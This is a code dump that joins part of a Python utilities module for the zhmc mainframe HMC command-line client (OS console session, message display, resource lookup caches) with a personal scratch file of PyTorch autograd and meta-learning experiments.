super(ExceptionThread, self).__init__(*args, **kwargs)
self.exc_info = None
def run(self):
"""
Call inherited run() and save exception info.
"""
try:
super(ExceptionThread, self).run()
except Exception: # noqa: E722 pylint: disable=broad-except
self.exc_info = sys.exc_info()
def join(self, timeout=None):
"""
Call inherited join() and reraise exception if exception info was saved.
"""
super(ExceptionThread, self).join(timeout)
if self.exc_info:
six.reraise(*self.exc_info)
def console_log(logger, prefix, message, *args, **kwargs):
"""
Log a message after prepending it with a prefix, to the specified logger
using the debug log level.
"""
message = prefix + message
logger.debug(message, *args, **kwargs)
def display_messages(receiver, logger, prefix):
"""
Receive the OS message notifications in the specified receiver and
print them to stdout. The function returns when the receiver is
exhausted (which happens when it is closed).
Due to inconsistencies in the message text w.r.t. newline, some processing
is performed regarding trailing newlines.
"""
console_log(logger, prefix, "Message display thread has started")
for headers, message in receiver.notifications():
console_log(logger, prefix,
"Received OS message notification "
"session-sequence-nr=%s", headers['session-sequence-nr'])
for msg_info in message['os-messages']:
msg_txt = msg_info['message-text']
console_log(logger, prefix,
"Message id=%s, os=%r, refresh=%r, prompt=%r: %r",
msg_info['message-id'], msg_info['os-name'],
msg_info['is-refresh'], msg_info['prompt-text'],
msg_txt)
is_prompt = re.match(r'^.*[\$#] ?$', msg_txt)
is_login = re.match(r'^.*[Ll]ogin: ?$', msg_txt)
is_password = re.match(r'^[Pp]assword: *$', msg_txt)
if is_prompt or is_login or is_password:
msg_txt = msg_txt.rstrip('\n')
else:
if not msg_txt.endswith('\n'):
msg_txt += '\n'
click.echo(msg_txt, nl=False)
console_log(logger, prefix, "Message display thread is ending")
def part_console(session, part, refresh, logger):
"""
Establish an interactive shell to the console of the operating system
running in a partition or LPAR.
Any incoming OS messages of the console are printed concurrently with
waiting for and sending the next command.
The shell ends and this function returns if one of the exit commands
is entered.
Parameters:
session (Session): HMC session supplying the credentials.
part (Partition or Lpar): Resource object for the partition or LPAR.
refresh (bool): Include refresh messages.
logger (Logger): Python logger for any log messages.
Raises:
Exceptions derived from zhmcclient.Error
AssertionError
"""
if isinstance(part, zhmcclient.Partition):
part_term = 'partition'
else:
part_term = 'LPAR'
cpc = part.manager.parent
prefix = "{c} {p} ".format(c=cpc.name, p=part.name)
console_log(logger, prefix, "Operating system console session opened")
console_log(logger, prefix, "Include refresh messages: %s", refresh)
try:
topic = part.open_os_message_channel(include_refresh_messages=refresh)
console_log(logger, prefix, "Using new notification topic: %s", topic)
except zhmcclient.HTTPError as exc:
if exc.http_status == 409 and exc.reason == 331:
# Notification topic for this partition already exists, use it
topic_dicts = session.get_notification_topics()
topic = None
for topic_dict in topic_dicts:
if topic_dict['topic-type'] != 'os-message-notification':
continue
obj_uri = topic_dict['object-uri']
if part.uri in (obj_uri, '/api/partitions/' + obj_uri):
topic = topic_dict['topic-name']
console_log(logger, prefix,
"Using existing notification topic: %s "
"(object-uri: %s)", topic, obj_uri)
break
assert topic, \
"An OS message notification topic for {pt} {pn} (uri={pu}) " \
"supposedly exists, but cannot be found in the existing " \
"topics: {t})". \
format(pt=part_term, pn=part.name, pu=part.uri, t=topic_dicts)
else:
raise
# pylint: disable=protected-access
if not session._password:
# pylint: disable=protected-access
session._password = click.prompt(
"Enter password (for user {s.userid} at HMC {s.host})"
.format(s=session),
hide_input=True, confirmation_prompt=False, type=str, err=True)
# pylint: disable=protected-access
receiver = zhmcclient.NotificationReceiver(
topic, session.host, session.userid, session._password)
msg_thread = ExceptionThread(
target=display_messages, args=(receiver, logger, prefix))
click.echo("Connected to operating system console for {pt} {pn}".
format(pt=part_term, pn=part.name))
click.echo("Enter ':exit' or press <CTRL-C> or <CTRL-D> to exit.")
console_log(logger, prefix, "Starting message display thread")
msg_thread.start()
while True:
try:
# This has history/ editing support when readline is imported
line = six.moves.input()
except EOFError:
# CTRL-D was pressed
reason = "CTRL-D"
break
except KeyboardInterrupt:
# CTRL-C was pressed
reason = "CTRL-C"
break
if line == ':exit':
reason = "{c} command".format(c=line)
break
if line == '':
# Enter was pressed without other input.
# The HMC requires at least one character in the command, otherwise
# it returns an error.
line = ' '
part.send_os_command(line, is_priority=False)
console_log(logger, prefix,
"User requested to exit the console session via %s", reason)
console_log(logger, prefix, "Closing notification receiver")
# This causes the notification receiver to be exhausted, and in turn causes
# the message display thread to end.
receiver.close()
console_log(logger, prefix, "Waiting for message display thread to end")
msg_thread.join()
console_log(logger, prefix, "Operating system console session closed")
click.echo("\nConsole session closed.")
def click_exception(exc, error_format):
"""
Return a ClickException object with the message from an input exception
in a desired error message format.
Parameters:
exc (exception or string):
The exception or the message.
error_format (string):
The error format (see ``--error-format`` general option).
Returns:
click.ClickException: The new exception.
"""
if error_format == 'def':
if isinstance(exc, zhmcclient.Error):
error_str = exc.str_def()
elif isinstance(exc, Exception):
error_str = str(exc)
else:
assert isinstance(exc, six.string_types)
error_str = "classname: None, message: {msg}".format(msg=exc)
else:
assert error_format == 'msg'
if isinstance(exc, Exception):
error_str = "{exc}: {msg}".format(
exc=exc.__class__.__name__, msg=exc)
else:
assert isinstance(exc, six.string_types)
error_str = exc
new_exc = click.ClickException(error_str)
new_exc.__cause__ = None
return new_exc
def add_options(click_options):
"""
Decorator that adds multiple Click options to the decorated function.
The list is reversed because of the way Click processes options.
Note: This function has its origins in the
https://github.com/pywbem/pywbemtools project (Apache 2.0 license)
Parameters:
click_options (list): List of `click.option` objects.
"""
def _add_options(func):
"""
Apply the Click options to the function in reversed order.
"""
for option in reversed(click_options):
func = option(func)
return func
return _add_options
def storage_management_feature(cpc_or_partition):
"""
Return a boolean indicating whether the specified CPC, or the CPC of the
specified partition has the DPM storage management feature enabled.
On z13 and earlier, the storage managemt feature is always disabled.
On z14 and later, the storage managemt feature is always enabled.
Nevertheless, this function performs the proper lookup of the feature.
"""
features = cpc_or_partition.prop('available-features-list', [])
for f in features:
if f['name'] == 'dpm-storage-management':
return f['state']
return False
def hide_property(properties, prop_name):
"""
Hide a property, if it exists and is not empty.
This is done by modifying the value of the property in the 'properties'
parameter.
Parameters:
properties(dict): Dict of properties (name/value). May be changed.
prop_name(string): Property name to hide
"""
if prop_name in properties and properties[prop_name]:
properties[prop_name] = "... (hidden)"
class ObjectByUriCache(object):
"""
Object cache that allows lookup of resource objects by URI.
The cache is not automatically updated, so it can be used only for short
periods of time, e.g. within the scope of a single zhmc command.
"""
def __init__(self, cmd_ctx, client):
self._cmd_ctx = cmd_ctx
self._client = client
self._console = client.consoles.console
self._user_roles_by_uri = None
self._password_rules_by_uri = None
self._tasks_by_uri = None
self._cpcs_by_uri = None
self._adapters_by_uri = None
self._partitions_by_uri = None
self._lpars_by_uri = None
self._storage_groups_by_uri = None
def _get_user_roles(self):
# pylint: disable=missing-function-docstring
try:
user_roles = self._console.user_roles.list(full_properties=False)
except zhmcclient.Error as exc:
raise click_exception(exc, self._cmd_ctx.error_format)
result = {}
for obj in user_roles:
result[obj.uri] = obj
return result
def user_role_by_uri(self, user_role_uri):
"""
Return UserRole object by its URI.
Fill the cache if needed.
"""
if self._user_roles_by_uri is None:
self._user_roles_by_uri = self._get_user_roles()
return self._user_roles_by_uri[user_role_uri]
def _get_password_rules(self):
# pylint: disable=missing-function-docstring
try:
password_rules = \
self._console.password_rules.list(full_properties=False)
except zhmcclient.Error as exc:
raise click_exception(exc, self._cmd_ctx.error_format)
result = {}
for obj in password_rules:
result[obj.uri] = obj
return result
def password_rule_by_uri(self, password_rule_uri):
"""
Return PasswordRule object by its URI.
Fill the cache if needed.
"""
if self._password_rules_by_uri is None:
self._password_rules_by_uri = self._get_password_rules()
return self._password_rules_by_uri[password_rule_uri]
def _get_tasks(self):
# pylint: disable=missing-function-docstring
try:
tasks = self._console.tasks.list(full_properties=False)
except zhmcclient.Error as exc:
raise click_exception(exc, self._cmd_ctx.error_format)
result = {}
for obj in tasks:
result[obj.uri] = obj
return result
def task_by_uri(self, task_uri):
"""
Return Task object by its URI.
Fill the cache if needed.
"""
if self._tasks_by_uri is None:
self._tasks_by_uri = self._get_tasks()
return self._tasks_by_uri[task_uri]
def _get_cpcs(self):
# pylint: disable=missing-function-docstring
try:
cpcs = self._client.cpcs.list(full_properties=False)
except zhmcclient.Error as exc:
raise click_exception(exc, self._cmd_ctx.error_format)
result = {}
for obj in cpcs:
result[obj.uri] = obj
return result
def cpc_by_uri(self, cpc_uri):
"""
Return Cpc object by its URI.
Fill the cache if needed.
"""
if self._cpcs_by_uri is None:
self._cpcs_by_uri = self._get_cpcs()
return self._cpcs_by_uri[cpc_uri]
def _get_adapters(self, cpc):
# pylint: disable=missing-function-docstring
try:
adapters = cpc.adapters.list(full_properties=False)
except zhmcclient.Error as exc:
raise click_exception(exc, self._cmd_ctx.error_format)
result = {}
for obj in adapters:
result[obj.uri] = obj
return result
def adapter_by_uri(self, adapter_uri):
"""
Return Adapter object by its URI.
Fill the cache if needed.
"""
if self._cpcs_by_uri is None:
self._cpcs_by_uri = self._get_cpcs()
if self._adapters_by_uri is None:
self._adapters_by_uri = {}
for cpc in self._cpcs_by_uri.values():
self._adapters_by_uri.update(self._get_adapters(cpc))
return self._adapters_by_uri[adapter_uri]
def _get_partitions(self, cpc):
# pylint: disable=missing-function-docstring
try:
partitions = cpc.partitions.list(full_properties=False)
except zhmcclient.Error as exc:
raise click_exception(exc, self._cmd_ctx.error_format)
result = {}
for obj in partitions:
result[obj.uri] = obj
return result
def partition_by_uri(self, partition_uri):
"""
Return Partition object by its URI.
Fill the cache if needed.
"""
if self._cpcs_by_uri is None:
self._cpcs_by_uri = self._get_cpcs()
if self._partitions_by_uri is None:
self._partitions_by_uri = {}
for cpc in self._cpcs_by_uri.values():
self._partitions_by_uri.update(
self._get_partitions(cpc))
return self._partitions_by_uri[partition_uri]
def _get_lpars(self, cpc):
# pylint: disable=missing-function-docstring
try:
lpars = cpc.lpars.list(full_properties=False)
except zhmcclient.Error as exc:
raise click_exception(exc, self._cmd_ctx.error_format)
result = {}
for obj in lpars:
result[obj.uri] = obj
return result
def lpar_by_uri(self, lpar_uri):
"""
Return Lpar object by its URI.
Fill the cache if needed.
"""
if self._cpcs_by_uri is None:
self._cpcs_by_uri = self._get_cpcs()
if self._lpars_by_uri is None:
self._lpars_by_uri = {}
for cpc in self._cpcs_by_uri.values():
self._lpars_by_uri.update(self._get_lpars(cpc))
return self._lpars_by_uri[lpar_uri]
def _get_storage_groups(self, cpc):
# pylint: disable=missing-function-docstring
try:
storage_groups = cpc.list_associated_storage_groups()
except zhmcclient.Error as exc:
raise click_exception(exc, self._cmd_ctx.error_format)
result = {}
for obj in storage_groups:
result[obj.uri] = obj
return result
def storage_group_by_uri(self, storage_group_uri):
"""
Return StorageGroup object by its URI.
Fill the cache if needed.
"""
if self._cpcs_by_uri is None:
self._cpcs_by_uri = self._get_cpcs()
if self._storage_groups_by_uri is None:
self._storage_groups_by_uri = {}
for cpc in self._cpcs_by_uri.values():
self._storage_groups_by_uri.update(
self._get_storage_groups(cpc))
return self._storage_groups_by_uri[storage_group_uri]
# TODO: Add storage_group_template_by_uri() once list() of associated
# templates implemented in zhmcclient
def required_option(options, option_key, unspecified_value=None):
"""
Check if an option is specified.
If it is specified, return the option value.
Otherwise, raise ClickException with an according error message.
"""
if options[option_key] != unspecified_value:
return options[option_key]
option_name = '--' + option_key.replace('_', '-')
raise click.ClickException(
"Required option not specified: {}".format(option_name))
def validate(data, schema, what):
"""
Validate a data object (e.g. dict loaded from JSON or YAML) against a JSON
schema object.
Parameters:
data (dict): Data object to be validated.
schema (dict): JSON schema object used for the validation.
what (string): Short string what the data represents, for messages.
Raises:
ValueError: Validation failed
"""
try:
jsonschema.validate(data, schema)
except jsonschema.exceptions.ValidationError as exc:
raise ValueError(
"Validation of {what} failed: {msg}; "
"Offending element: {elem}; "
"Schema item: {schemaitem}; "
"Validator: {valname}={valvalue}".
format(what=what,
schemaitem='.'.join(str(e) for e in
exc.absolute_schema_path),
msg=exc.message,
# need to convert to string, as when path contains a list,
# the list element is indicated as integer
elem='.'.join(str(e) for e in exc.absolute_path),
valname=exc.validator,
valvalue=exc.validator_value))
|
python_pg1.py | # %%
# to test impots
import sys
from typing import List, NewType, Any
for path in sys.path:
print(path)
# %%
def __path_bn_layer_for_functional_eval(self, module, input):
for attr_str in dir(module):
target_attr = getattr(module, attr_str)
print(target_attr)
if type(target_attr) == torch.nn.BatchNorm1d:
target_attr.track_running_stats = True
target_attr.running_mean = input.mean()
target_attr.running_var = input.var()
target_attr.num_batches_tracked = torch.tensor(0, dtype=torch.long)
# "recurse" iterate through immediate child modules. Note, the recursion is done by our code no need to use named_modules()
for name, immediate_child_module in module.named_children():
self._path_bn_layer_for_functional_eval(immediate_child_module, name)
# %%
import time
import logging
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
formatter = logging.Formatter('%(levelname)s:%(name)s:%(message)s')
file_handler = logging.FileHandler('employee.log')
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
class Employee:
"""A sample Employee class"""
def __init__(self, first, last):
self.first = first
self.last = last
logger.info('Created Employee: {} - {}'.format(self.fullname, self.email))
@property
def email(self):
return '{}.{}@email.com'.format(self.first, self.last)
@property
def fullname(self):
return '{} {}'.format(self.first, self.last)
emp_1 = Employee('John', 'Smith')
emp_2 = Employee('Corey', 'Schafer')
emp_3 = Employee('Jane', 'Doe')
######## END OF EMPLOYEE LOGGING EXAMPLE
def report_times(start, verbose=False):
'''
How much time has passed since the time "start"
:param float start: the number representing start (usually time.time())
'''
meta_str = ''
## REPORT TIMES
start_time = start
seconds = (time.time() - start_time)
minutes = seconds / 60
hours = minutes / 60
if verbose:
print(f"--- {seconds} {'seconds ' + meta_str} ---")
print(f"--- {minutes} {'minutes ' + meta_str} ---")
print(f"--- {hours} {'hours ' + meta_str} ---")
print('\a')
##
msg = f'time passed: hours:{hours}, minutes={minutes}, seconds={seconds}'
return msg, seconds, minutes, hours
#
# def params_in_comp_graph():
# import torch
# import torch.nn as nn
# # from torchviz import make_dot
# fc0 = nn.Linear(in_features=3, out_features=1)
# params = [('fc0', fc0)]
# mdl = nn.Sequential(OrderedDict(params))
#
# x = torch.randn(1, 3)
# # x.requires_grad = True # uncomment to put in computation graph
# y = torch.randn(1)
#
# l = (mdl(x) - y) ** 2
#
# # make_dot(l, params=dict(mdl.named_parameters()))
# params = dict(mdl.named_parameters())
# # params = {**params, 'x':x}
# make_dot(l, params=params).render('data/debug/test_img_l', format='png')
def check_if_tensor_is_detached():
a = torch.tensor([2.0], requires_grad=True)
b = a.detach()
b.requires_grad = True
print(a == b)
print(a is b)
print(a)
print(b)
la = (5.0 - a) ** 2
la.backward()
print(f'a.grad = {a.grad}')
lb = (6.0 - b) ** 2
lb.backward()
print(f'b.grad = {b.grad}')
def deep_copy_issue():
params = OrderedDict([('fc1', nn.Linear(in_features=3, out_features=1))])
mdl0 = nn.Sequential(params)
mdl1 = copy.deepcopy(mdl0)
print(id(mdl0))
print(mdl0)
print(id(mdl1))
print(mdl1)
# my update
mdl1.fc1.weight = nn.Parameter(mdl1.fc1.weight + 1)
mdl2 = copy.deepcopy(mdl1)
print(id(mdl2))
print(mdl2)
def download_mini_imagenet():
# download mini-imagenet automatically
import torch
import torch.nn as nn
import torchvision.datasets.utils as utils
from torchvision.datasets.utils import download_and_extract_archive
from torchvision.datasets.utils import download_file_from_google_drive
## download mini-imagenet
# url = 'https://drive.google.com/file/d/1rV3aj_hgfNTfCakffpPm7Vhpr1in87CR'
file_id = '1rV3aj_hgfNTfCakffpPm7Vhpr1in87CR'
filename = 'miniImagenet.tgz'
root = '~/tmp/' # dir to place downloaded file in
download_file_from_google_drive(file_id, root, filename)
def extract():
from torchvision.datasets.utils import extract_archive
from_path = os.path.expanduser('~/Downloads/miniImagenet.tgz')
extract_archive(from_path)
def download_and_extract_miniImagenet(root):
import os
from torchvision.datasets.utils import download_file_from_google_drive, extract_archive
## download miniImagenet
# url = 'https://drive.google.com/file/d/1rV3aj_hgfNTfCakffpPm7Vhpr1in87CR'
file_id = '1rV3aj_hgfNTfCakffpPm7Vhpr1in87CR'
filename = 'miniImagenet.tgz'
download_file_from_google_drive(file_id, root, filename)
fpath = os.path.join(root, filename) # this is what download_file_from_google_drive does
## extract downloaded dataset
from_path = os.path.expanduser(fpath)
extract_archive(from_path)
## remove the zip file
os.remove(from_path)
def torch_concat():
import torch
g1 = torch.randn(3, 3)
g2 = torch.randn(3, 3)
#
# def inner_loop1():
# n_inner_iter = 5
# inner_opt = torch.optim.SGD(net.parameters(), lr=1e-1)
#
# qry_losses = []
# qry_accs = []
# meta_opt.zero_grad()
# for i in range(task_num):
# with higher.innerloop_ctx(
# net, inner_opt, copy_initial_weights=False
# ) as (fnet, diffopt):
# # Optimize the likelihood of the support set by taking
# # gradient steps w.r.t. the model's parameters.
# # This adapts the model's meta-parameters to the task.
# # higher is able to automatically keep copies of
# # your network's parameters as they are being updated.
# for _ in range(n_inner_iter):
# spt_logits = fnet(x_spt[i])
# spt_loss = F.cross_entropy(spt_logits, y_spt[i])
# diffopt.step(spt_loss)
#
# # The final set of adapted parameters will induce some
# # final loss and accuracy on the query dataset.
# # These will be used to update the model's meta-parameters.
# qry_logits = fnet(x_qry[i])
# qry_loss = F.cross_entropy(qry_logits, y_qry[i])
# qry_losses.append(qry_loss.detach())
# qry_acc = (qry_logits.argmax(
# dim=1) == y_qry[i]).sum().item() / querysz
# qry_accs.append(qry_acc)
#
# # Update the model's meta-parameters to optimize the query
# # losses across all of the tasks sampled in this batch.
# # This unrolls through the gradient steps.
# qry_loss.backward()
#
# meta_opt.step()
# qry_losses = sum(qry_losses) / task_num
# qry_accs = 100. * sum(qry_accs) / task_num
# i = epoch + float(batch_idx) / n_train_iter
# iter_time = time.time() - start_time
# def inner_loop2():
# n_inner_iter = 5
# inner_opt = torch.optim.SGD(net.parameters(), lr=1e-1)
#
# qry_losses = []
# qry_accs = []
# meta_opt.zero_grad()
# meta_loss = 0
# for i in range(task_num):
# with higher.innerloop_ctx(
# net, inner_opt, copy_initial_weights=False
# ) as (fnet, diffopt):
# # Optimize the likelihood of the support set by taking
# # gradient steps w.r.t. the model's parameters.
# # This adapts the model's meta-parameters to the task.
# # higher is able to automatically keep copies of
# # your network's parameters as they are being updated.
# for _ in range(n_inner_iter):
# spt_logits = fnet(x_spt[i])
# spt_loss = F.cross_entropy(spt_logits, y_spt[i])
# diffopt.step(spt_loss)
#
# # The final set of adapted parameters will induce some
# # final loss and accuracy on the query dataset.
# # These will be used to update the model's meta-parameters.
# qry_logits = fnet(x_qry[i])
# qry_loss = F.cross_entropy(qry_logits, y_qry[i])
# qry_losses.append(qry_loss.detach())
# qry_acc = (qry_logits.argmax(
# dim=1) == y_qry[i]).sum().item() / querysz
# qry_accs.append(qry_acc)
#
# # Update the model's meta-parameters to optimize the query
# # losses across all of the tasks sampled in this batch.
# # This unrolls through the gradient steps.
# # qry_loss.backward()
# meta_loss += qry_loss
#
# qry_losses = sum(qry_losses) / task_num
# qry_losses.backward()
# meta_opt.step()
# qry_accs = 100. * sum(qry_accs) / task_num
# i = epoch + float(batch_idx) / n_train_iter
# iter_time = time.time() - start_time
def error_unexpected_way_to_by_pass_safety():
# https://stackoverflow.com/questions/62415251/why-am-i-able-to-change-the-value-of-a-tensor-without-the-computation-graph-know
import torch
a = torch.tensor([1, 2, 3.], requires_grad=True)
# are detached tensor's leafs? yes they are
a_detached = a.detach()
# a.fill_(2) # illegal, warns you that a tensor which requires grads is used in an inplace op (so it won't be recorded in computation graph so it wont take the right derivative of the forward path as this op won't be in it)
a_detached.fill_(
2) # weird that this one is allowed, seems to allow me to bypass the error check from the previous comment...?!
print(f'a = {a}')
print(f'a_detached = {a_detached}')
a.sum().backward()
def detach_playground():
import torch
a = torch.tensor([1, 2, 3.], requires_grad=True)
# are detached tensor's leafs? yes they are
a_detached = a.detach()
print(f'a_detached.is_leaf = {a_detached.is_leaf}')
# is doing sum on the detached tensor a leaf? no
a_detached_sum = a.sum()
print(f'a_detached_sum.is_leaf = {a_detached_sum.is_leaf}')
# is detaching an intermediate tensor a leaf? yes
a_sum_detached = a.sum().detach()
print(f'a_sum_detached.is_leaf = {a_sum_detached.is_leaf}')
# shows they share they same data
print(f'a == a_detached = {a == a_detached}')
print(f'a is a_detached = {a is a_detached}')
a_detached.zero_()
print(f'a = {a}')
print(f'a_detached = {a_detached}')
# a.fill_(2) # illegal, warns you that a tensor which requires grads is used in an inplace op (so it won't be recorded in computation graph so it wont take the right derivative of the forward path as this op won't be in it)
a_detached.fill_(
2) # weird that this one is allowed, seems to allow me to bypass the error check from the previous comment...?!
print(f'a = {a}')
print(f'a_detached = {a_detached}')
## conclusion: detach basically creates a totally new tensor which cuts gradient computations to the original but shares the same memory with original
out = a.sigmoid()
out_detached = out.detach()
out_detached.zero_()
out.sum().backward()
def clone_playground():
import torch
a = torch.tensor([1, 2, 3.], requires_grad=True)
a_clone = a.clone()
print(f'a_clone.is_leaf = {a_clone.is_leaf}')
print(f'a is a_clone = {a is a_clone}')
print(f'a == a_clone = {a == a_clone}')
print(f'a = {a}')
print(f'a_clone = {a_clone}')
# a_clone.fill_(2)
a_clone.mul_(2)
print(f'a = {a}')
print(f'a_clone = {a_clone}')
a_clone.sum().backward()
print(f'a.grad = {a.grad}')
def clone_vs_deepcopy():
import copy
import torch
x = torch.tensor([1, 2, 3.])
x_clone = x.clone()
x_deep_copy = copy.deepcopy(x)
#
x.mul_(-1)
print(f'x = {x}')
print(f'x_clone = {x_clone}')
print(f'x_deep_copy = {x_deep_copy}')
print()
def inplace_playground():
import torch
x = torch.tensor([1, 2, 3.], requires_grad=True)
y = x + 1
print(f'x.is_leaf = {x.is_leaf}')
print(f'y.is_leaf = {y.is_leaf}')
x += 1 # not allowed because x is a leaf, since changing the value of a leaf with an inplace forgets it's value then backward wouldn't work IMO (though its not the official response)
print(f'x.is_leaf = {x.is_leaf}')
def copy_initial_weights_playground_original():
import torch
import torch.nn as nn
import torch.optim as optim
import higher
import numpy as np
np.random.seed(1)
torch.manual_seed(3)
N = 100
actual_multiplier = 3.5
meta_lr = 0.00001
loops = 5 # how many iterations in the inner loop we want to do
x = torch.tensor(np.random.random((N, 1)), dtype=torch.float64) # features for inner training loop
y = x * actual_multiplier # target for inner training loop
model = nn.Linear(1, 1, bias=False).double() # simplest possible model - multiple input x by weight w without bias
meta_opt = optim.SGD(model.parameters(), lr=meta_lr, momentum=0.)
def run_inner_loop_once(model, verbose, copy_initial_weights):
lr_tensor = torch.tensor([0.3], requires_grad=True)
momentum_tensor = torch.tensor([0.5], requires_grad=True)
opt = optim.SGD(model.parameters(), lr=0.3, momentum=0.5)
with higher.innerloop_ctx(model, opt, copy_initial_weights=copy_initial_weights,
override={'lr': lr_tensor, 'momentum': momentum_tensor}) as (fmodel, diffopt):
for j in range(loops):
if verbose:
print('Starting inner loop step j=={0}'.format(j))
print(' Representation of fmodel.parameters(time={0}): {1}'.format(j, str(
list(fmodel.parameters(time=j)))))
print(' Notice that fmodel.parameters() is same as fmodel.parameters(time={0}): {1}'.format(j, (
list(fmodel.parameters())[0] is list(fmodel.parameters(time=j))[0])))
out = fmodel(x)
if verbose:
print(
' Notice how `out` is `x` multiplied by the latest version of weight: {0:.4} * {1:.4} == {2:.4}'.format(
x[0, 0].item(), list(fmodel.parameters())[0].item(), out[0].item()))
loss = ((out - y) ** 2).mean()
diffopt.step(loss)
if verbose:
# after all inner training let's see all steps' parameter tensors
print()
print("Let's print all intermediate parameters versions after inner loop is done:")
for j in range(loops + 1):
print(' For j=={0} parameter is: {1}'.format(j, str(list(fmodel.parameters(time=j)))))
print()
# let's imagine now that our meta-learning optimization is trying to check how far we got in the end from the actual_multiplier
weight_learned_after_full_inner_loop = list(fmodel.parameters())[0]
meta_loss = (weight_learned_after_full_inner_loop - actual_multiplier) ** 2
print(' Final meta-loss: {0}'.format(meta_loss.item()))
meta_loss.backward() # will only propagate gradient to original model parameter's `grad` if copy_initial_weight=False
if verbose:
print(' Gradient of final loss we got for lr and momentum: {0} and {1}'.format(lr_tensor.grad,
momentum_tensor.grad))
print(
' If you change number of iterations "loops" to much larger number final loss will be stable and the values above will be smaller')
return meta_loss.item()
print('=================== Run Inner Loop First Time (copy_initial_weights=True) =================\n')
meta_loss_val1 = run_inner_loop_once(model, verbose=True, copy_initial_weights=True)
print("\nLet's see if we got any gradient for initial model parameters: {0}\n".format(
list(model.parameters())[0].grad))
print('=================== Run Inner Loop Second Time (copy_initial_weights=False) =================\n')
meta_loss_val2 = run_inner_loop_once(model, verbose=False, copy_initial_weights=False)
print("\nLet's see if we got any gradient for initial model parameters: {0}\n".format(
list(model.parameters())[0].grad))
print('=================== Run Inner Loop Third Time (copy_initial_weights=False) =================\n')
final_meta_gradient = list(model.parameters())[0].grad.item()
# Now let's double-check `higher` library is actually doing what it promised to do, not just giving us
# a bunch of hand-wavy statements and difficult to read code.
# We will do a simple SGD step using meta_opt changing initial weight for the training and see how meta loss changed
meta_opt.step()
meta_opt.zero_grad()
meta_step = - meta_lr * final_meta_gradient # how much meta_opt actually shifted inital weight value
meta_loss_val3 = run_inner_loop_once(model, verbose=False, copy_initial_weights=False)
def copy_initial_weights_playground():
import torch
import torch.nn as nn
import torch.optim as optim
import higher
import numpy as np
np.random.seed(1)
torch.manual_seed(3)
N = 100
actual_multiplier = 3.5 # the parameters we want the model to learn
meta_lr = 0.00001
loops = 5 # how many iterations in the inner loop we want to do
x = torch.randn(N, 1) # features for inner training loop
y = x * actual_multiplier # target for inner training loop
model = nn.Linear(1, 1,
bias=False) # model(x) = w*x, simplest possible model - multiple input x by weight w without bias. goal is to w~~actualy_multiplier
outer_opt = optim.SGD(model.parameters(), lr=meta_lr, momentum=0.)
def run_inner_loop_once(model, verbose, copy_initial_weights):
lr_tensor = torch.tensor([0.3], requires_grad=True)
momentum_tensor = torch.tensor([0.5], requires_grad=True)
inner_opt = optim.SGD(model.parameters(), lr=0.3, momentum=0.5)
with higher.innerloop_ctx(model, inner_opt, copy_initial_weights=copy_initial_weights,
override={'lr': lr_tensor, 'momentum': momentum_tensor}) as (fmodel, diffopt):
for j in range(loops):
if verbose:
print('Starting inner loop step j=={0}'.format(j))
print(' Representation of fmodel.parameters(time={0}): {1}'.format(j, str(
list(fmodel.parameters(time=j)))))
print(' Notice that fmodel.parameters() is same as fmodel.parameters(time={0}): {1}'.format(j, (
list(fmodel.parameters())[0] is list(fmodel.parameters(time=j))[0])))
out = fmodel(x)
if verbose:
print(
f' Notice how `out` is `x` multiplied by the latest version of weight: {x[0, 0].item()} * {list(fmodel.parameters())[0].item()} == {out[0].item()}')
loss = ((out - y) ** 2).mean()
diffopt.step(loss)
if verbose:
# after all inner training let's see all steps' parameter tensors
print()
print("Let's print all intermediate parameters versions after inner loop is done:")
for j in range(loops + 1):
print(' For j=={0} parameter is: {1}'.format(j, str(list(fmodel.parameters(time=j)))))
print()
# let's imagine now that our meta-learning optimization is trying to check how far we got in the end from the actual_multiplier
weight_learned_after_full_inner_loop = list(fmodel.parameters())[0]
meta_loss = (weight_learned_after_full_inner_loop - actual_multiplier) ** 2
print(' Final meta-loss: {0}'.format(meta_loss.item()))
meta_loss.backward() # will only propagate gradient to original model parameter's `grad` if copy_initial_weight=False
if verbose:
print(' Gradient of final loss we got for lr and momentum: {0} and {1}'.format(lr_tensor.grad,
momentum_tensor.grad))
print(
' If you change number of iterations "loops" to much larger number final loss will be stable and the values above will be smaller')
return meta_loss.item()
print('=================== Run Inner Loop First Time (copy_initial_weights=True) =================\n')
meta_loss_val1 = run_inner_loop_once(model, verbose=True, copy_initial_weights=True)
print("\nLet's see if we got any gradient for initial model parameters: {0}\n".format(
list(model.parameters())[0].grad))
print('=================== Run Inner Loop Second Time (copy_initial_weights=False) =================\n')
meta_loss_val2 = run_inner_loop_once(model, verbose=False, copy_initial_weights=False)
print("\nLet's see if we got any gradient for initial model parameters: {0}\n".format(
list(model.parameters())[0].grad))
print('=================== Run Inner Loop Third Time (copy_initial_weights=False) =================\n')
final_meta_gradient = list(model.parameters())[0].grad.item()
# Now let's double-check `higher` library is actually doing what it promised to do, not just giving us
# a bunch of hand-wavy statements and difficult to read code.
# We will do a simple SGD step using meta_opt changing initial weight for the training and see how meta loss changed
outer_opt.step()
outer_opt.zero_grad()
meta_step = - meta_lr * final_meta_gradient # how much meta_opt actually shifted inital weight value
meta_loss_val3 = run_inner_loop_once(model, verbose=False, copy_initial_weights=False)
meta_loss_gradient_approximation = (meta_loss_val3 - meta_loss_val2) / meta_step
print()
print(
'Side-by-side meta_loss_gradient_approximation and gradient computed by `higher` lib: {0:.4} VS {1:.4}'.format(
meta_loss_gradient_approximation, final_meta_gradient))
def tqdm_torchmeta():
from torchvision.transforms import Compose, Resize, ToTensor
import torchmeta
from torchmeta.datasets.helpers import miniimagenet
from pathlib import Path
from types import SimpleNamespace
from tqdm import tqdm
## get args
args = SimpleNamespace(episodes=5, n_classes=5, k_shot=5, k_eval=15, meta_batch_size=1, n_workers=4)
args.data_root = Path("~/automl-meta-learning/data/miniImagenet").expanduser()
## get meta-batch loader
train_transform = Compose([Resize(84), ToTensor()])
dataset = miniimagenet(
args.data_root,
ways=args.n_classes,
shots=args.k_shot,
test_shots=args.k_eval,
meta_split='train',
download=False)
dataloader = torchmeta.utils.data.BatchMetaDataLoader(
dataset,
batch_size=args.meta_batch_size,
num_workers=args.n_workers)
with tqdm(dataset):
print(f'len(dataloader)= {len(dataloader)}')
for episode, batch in enumerate(dataloader):
print(f'episode = {episode}')
train_inputs, train_labels = batch["train"]
print(f'train_labels[0] = {train_labels[0]}')
print(f'train_inputs.size() = {train_inputs.size()}')
pass
if episode >= args.episodes:
break
# if __name__ == "__main__":
